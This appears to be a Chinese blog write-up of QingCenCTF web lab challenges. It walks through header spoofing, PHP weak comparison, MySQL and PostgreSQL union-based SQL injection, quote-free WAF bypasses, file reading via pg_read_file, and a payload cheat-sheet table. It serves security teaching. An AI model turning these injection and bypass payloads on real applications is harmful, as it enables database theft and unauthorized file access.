2026-08-06
靶场题解吗?
00
请注意,本文编写于 100 天前,最后修改于 100 天前,其中某些信息可能已经过时。

目录

webtest1
webtest2
webtest3
webtest4
webtest5
一、第一步:发现注入点("此地无银三百两")
二、第二步:摸清SQL结构(靠报错"套话")
三、第三步:闭合SQL结构("把门关上")
四、第四步:测列数("对号入座")
五、第五步:确认有回显("能看得见")
六、第六步:查表名(绕过WAF的坑)
绕过方法1:不用单引号
绕过方法2:不用 information_schema
七、第七步:查字段名和拿Flag("最后一击")
关键发现:PostgreSQL 标识符自动转小写
盲猜字段名(最快路径)
如果字段名不对怎么办?
八、完整路线图(脑图版)
九、PostgreSQL 注入特有知识点汇总
十、关键Payload速查表
webtest6

QingCenCTF的web题解,处于更新状态


web_test_1

图片.png 先解密MD5

图片.png 提示不是本宗弟子,再更改为X-Forwarded-For: 127.0.0.1,之后再更改cookie字段进行越权,

图片.png

web_test_2

开头搞我一下,扫了个目录,没出来,后来发现在响应头

图片.png 然后访问对应路径,获得题目源码,发现是个php弱比较

代码条件是:

php
strlen($no) < 4 // 字符串长度小于4 $no > 88888888 // 数值大于 88888888

strlen("9e9") → 3 个字符 ✅

"9e9" > 88888888 → 9000000000 > 88888888 为真 ✅

一个只有 3 个字符 的字符串,却代表了一个 90 亿 的大数字,完美利用了 PHP 在比较时的类型转换和科学计数法的特性。 图片.png

web_test_3

没有好说的,一开始以为是sql或者弱密码爆破,后来扫了下目录发现有个flag.php

web_test_4

这关是sql注入,通过z' or 1=1#发现返回了全部数据,无过滤,所以开始爆数据

z' order by 5# 图片.png z' order by 6# 图片.png 确定列数为6列,结合响应中的说在secret表所以直接开爆

sql
z' and 1=0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='secrets'#

图片.png

sql
z' and 1=0 union select 1,group_concat(secret_name,':',secret_value),3,4,5 from secrets#

图片.png

不能直接目录穿越访问,所以通过LOAD_FILE 函数读文件

返回空,这里卡了一会,发现有个文件包含

于是在这里尝试目录穿越 图片.png

web_test_5

是个PostgreSQL,尝试注入爆列名 图片.png

图片.png 爆库名版本号 图片.png

爆表名

23e73348a2f419213b1e87cac5ecc2cd.png 爆数据

b13fef6c6f9daf8fc7802b08e571988f.png

以下是针对于PostgreSQL的详细和知识点

提示

一、第一步:发现注入点("此地无银三百两")

你做了什么: 输入 {"ids":"1'"},后端返回 {"msg":"非法字符","status":403}

这意味着什么:

  • 如果后端用参数化查询(? 占位符),单引号会被当作普通字符处理,绝对不会报错。
  • 只有后端在手动拼接SQL字符串时,开发者才会去"检测危险字符"来防注入。
  • 过滤单引号 = 承认自己在拼接SQL。这就是"此地无银三百两"。

关键结论: 这个接口存在SQL注入,而且防御很粗糙(只挡了单引号)。


二、第二步:摸清SQL结构(靠报错"套话")

你做了什么: 输入 1) UNION SELECT NULL--,报错:

syntax error at or near ")" LINE 1: ...cription, status FROM tasks WHERE id = ANY(ARRAY[1) UNION SE...

从报错里读出的关键信息:

  1. 查询了4列: id, title, description, status
  2. SQL骨架:
    sql
    SELECT id, title, description, status FROM tasks WHERE id = ANY(ARRAY[ 你的输入 ])
  3. 数据库类型: PostgreSQL(ANY(ARRAY[...]) 是PostgreSQL特有的语法)

为什么这个报错如此重要: 很多新手看到报错就慌了,实际上报错是SQL注入最好的朋友。它直接告诉你SQL长什么样,你才知道怎么"闭合"它。


三、第三步:闭合SQL结构("把门关上")

核心问题: 你的输入被拼在了 ARRAY[ 和 ] 之间,你要让 ANY(ARRAY[...]) 语法合法,然后再接自己的SQL。

你做了什么:

  • 1]) → 拼进去变成 ANY(ARRAY[1]) → 语法合法
  • 后面加 -- 注释掉原来的 ])

实际效果:

sql
-- 原始SQL(假设) SELECT ... FROM tasks WHERE id = ANY(ARRAY[ 你的输入 ]) -- 你输入 999]) UNION SELECT ... -- -- 实际执行: SELECT ... FROM tasks WHERE id = ANY(ARRAY[999]) UNION SELECT ... --]) -- ^^^^ 这里闭合了 -- ^^^^^^^^^^^^^^^ 这里是你加的 -- ^^ 这里把后面的 ]) 注释掉了

小白理解: 就像你在一句话中间插嘴,先说完了自己的话,然后用 -- 把后面别人要说的话"抹掉"。


四、第四步:测列数("对号入座")

你做了什么:

  • 999]) UNION SELECT NULL-- → 报错 each UNION query must have the same number of columns
  • 999]) UNION SELECT NULL,NULL,NULL,NULL-- → 成功

为什么必须4列: UNION 要求左右两边的查询结果列数必须完全一致。原SQL查的是 id, title, description, status 这4列,你的 UNION SELECT 也必须是4列。

测列数的技巧:

  • 用 NULL 占位,因为 NULL 可以匹配任何类型(数字、字符串、布尔都行),不会触发类型错误。
  • 用 999 当ID是因为这个ID大概率不存在,这样原查询没结果,只显示你UNION进去的数据,不干扰。

五、第五步:确认有回显("能看得见")

你做了什么:

json
{"ids":"999]) UNION SELECT 1,version(),current_database(),1--"}

前端显示:

  • title 位置 → PostgreSQL 17.10 (Debian ...)(版本号)
  • description 位置 → ctf_db(数据库名)
  • 右上角 → 已完成(因为 status=1)

这意味着什么: 这是有回显注入(Union-based),你可以直接把数据库里的数据"SELECT"出来显示在页面上,是最爽的一种注入。

为什么 SELECT 1,2,3,4 不行: PostgreSQL 是强类型数据库。原SQL的第2、3列是字符串类型(title、description),你传整数 2、3 进去,类型对不上,直接报错。而 version() 和 current_database() 返回的是字符串,所以完美匹配。


六、第六步:查表名(绕过WAF的坑)

你尝试的:

json
{"ids":"999]) UNION SELECT 1,table_name,table_schema,1 FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0--"}

→ 返回 403 非法字符

被拦的两个原因:

  1. 单引号 ': 'public' 里的单引号直接触发WAF
  2. information_schema: 这是SQL注入字典里的"敏感词",很多WAF直接拦截

绕过方法1:不用单引号

PostgreSQL 有 current_schema() 函数,返回当前schema(默认就是 public),不需要引号。

绕过方法2:不用 information_schema

改用 PostgreSQL 自己的系统视图 pg_tables,或者更底层的 pg_class + pg_namespace。

你最终成功的payload:

json
{"ids":"999]) UNION SELECT 1,relname,nspname,1 FROM pg_class JOIN pg_namespace ON relnamespace=pg_namespace.oid WHERE nspname=current_schema() AND relkind=CHR(114) LIMIT 1 OFFSET 0--"}

这里面的知识点:

  • pg_class:存储所有表、索引、序列等对象
  • pg_namespace:存储schema(如 public)
  • relnamespace=pg_namespace.oid:关联两个表(修复了 oid 歧义报错)
  • nspname=current_schema():用函数代替 'public',无引号
  • relkind=CHR(114):CHR(114) = 'r',表示普通数据表。用ASCII码代替单引号

OFFSET 的用法:

  • OFFSET 0 → 第1个表
  • OFFSET 1 → 第2个表(你在这里找到了 secret_flag)

七、第七步:查字段名和拿Flag("最后一击")

关键发现:PostgreSQL 标识符自动转小写

在 PostgreSQL 里,不加引号的标识符会自动变成小写:

sql
SELECT * FROM secret_flag -- 合法,等同于 "secret_flag"

这意味着你不需要单引号、不需要双引号,直接写表名就能查!完美绕过WAF。

盲猜字段名(最快路径)

CTF里flag字段通常就叫 flag,直接试:

json
{"ids":"999]) UNION SELECT 1,flag,NULL,1 FROM secret_flag LIMIT 1--"}

成功! 前端 title 位置直接显示 flag{...}。

如果字段名不对怎么办?

用系统表 pg_attribute 查字段名(同样无引号):

json
{"ids":"999]) UNION SELECT 1,string_agg(attname,CHR(44)),NULL,1 FROM pg_attribute,pg_class WHERE attrelid=oid AND relname=secret_flag AND attnum>0--"}
  • attname:字段名
  • CHR(44):逗号 ,
  • string_agg:把所有字段名用逗号拼成一条
  • attnum>0:排除系统内部字段

八、完整路线图(脑图版)

发现注入点 ↓ 输入 1' 被拦(403 非法字符)→ 确认拼接SQL 摸清结构 ↓ 输入 1) 报错 → 发现 ANY(ARRAY[...]) 结构 闭合语法 ↓ 输入 1]) -- → 让 ANY(ARRAY[1]) 合法 测列数 ↓ UNION SELECT NULL,NULL,NULL,NULL-- → 确认4列 确认回显 ↓ UNION SELECT 1,version(),current_database(),1-- → 有回显! 查表名 ↓ information_schema 被拦 → 换 pg_class + pg_namespace ↓ 单引号被拦 → 用 current_schema() + CHR(114) ↓ OFFSET 1 → 发现 secret_flag 表 拿Flag ↓ PostgreSQL 标识符自动转小写 → FROM secret_flag 无引号 ↓ 盲猜字段 flag → UNION SELECT 1,flag,NULL,1 FROM secret_flag ↓ 🎉 出 flag!

九、PostgreSQL 注入特有知识点汇总

知识点说明在本题中的应用
ANY(ARRAY[...])PostgreSQL 特有的IN语法替代发现结构后才知道用 ]) 闭合
current_schema()返回当前schema,无引号代替 'public' 绕过WAF
pg_tables / pg_classPostgreSQL系统表,代替 information_schema绕过 information_schema 敏感词拦截
CHR(n)ASCII码转字符,无引号CHR(114) = 'r',绕过单引号过滤
标识符自动转小写不加引号的表名/字段名自动变小写FROM secret_flag 不需要任何引号
string_agg字符串聚合函数一把梭出所有表名/字段名
强类型UNION时类型必须匹配不能用 SELECT 1,2,3,4,必须用 version() 等字符串函数

十、关键Payload速查表

目的Payload
闭合ANY(ARRAY)999]) UNION SELECT ... --
测列数999]) UNION SELECT NULL,NULL,NULL,NULL--
拿版本+库名999]) UNION SELECT 1,version(),current_database(),1--
查所有表名999]) UNION SELECT 1,string_agg(tablename,','),current_schema(),1 FROM pg_tables WHERE schemaname=current_schema()--
查表字段(逐条)999]) UNION SELECT 1,attname,NULL,1 FROM pg_attribute,pg_class WHERE attrelid=oid AND relname=secret_flag AND attnum>0 LIMIT 1 OFFSET 0--
拿flag999]) UNION SELECT 1,flag,NULL,1 FROM secret_flag LIMIT 1--
读本地文件999]) UNION SELECT 1,pg_read_file('/flag'),NULL,1--

web_test_6